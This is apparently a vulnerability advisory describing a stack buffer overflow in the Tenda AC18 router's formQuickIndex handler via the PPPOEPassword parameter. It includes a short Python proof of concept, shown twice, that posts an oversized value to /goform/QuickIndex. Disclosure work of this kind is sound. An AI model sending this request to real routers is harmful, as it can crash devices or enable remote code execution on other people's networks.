Overview

Tenda AC18 V15.03.3.10_EN

Affected version

Tenda AC18 V15.03.3.10_EN

Vulnerability details

The Tenda AC18 V15.03.3.10_EN has a stack overflow vulnerability located in the formQuickIndex function.The var_PPPOEPassword variable receives the PPPOEPassword parameter from a POST request and and passes it to the sub_4E844 function.

Untitled

Within sub_4E844, the var_PPPOEPassword variable is later assigned to the s variable. However, since the user has control over the input of PPPOEPassword, it can lead to a buffer overflow. There is no size check, so the user-provided var_PPPOEPassword  can exceed the allocated size of the s array (72 bytes), thus triggering this security vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

Untitled

PoC

# formQuickIndex

import requests

ip = '192.168.0.100:80'

url = f"http://{ip}/goform/QuickIndex"

data = {"mit_linktype":"2", "PPPOEPassword":'a'*0x200}

ret = requests.post(url, data)

Untitled

Additional Information

###Product_version
Tenda AC18 
V15.03.3.10_EN

###Affected_component
the "formQuickIndex" function of /bin/httpd; /bin/httpd

###Attack_vector
use a simple exp to attack, like this:
#python3
import requests
ip = '192.168.0.100:80'
url = f"http://{ip}/goform/QuickIndex"
data = {"mit_linktype":"2", "PPPOEPassword":'a'*0x200}
ret = requests.post(url, data)

###Discription
Tenda AC18 V15.03.3.10_EN was discovered to contain a stack-based buffer overflow vulnerability via the PPPOEPassword parameter at ip/goform/QuickIndex.

###Refernce
<https://palm-vertebra-fe9.notion.site/formQuickIndex-8e8e45d331414501b76853fd29bdb8af>
<https://www.tendacn.com/hk/download/detail-3863.html>
<https://www.tendacn.com/hk/download/detail-3852.html>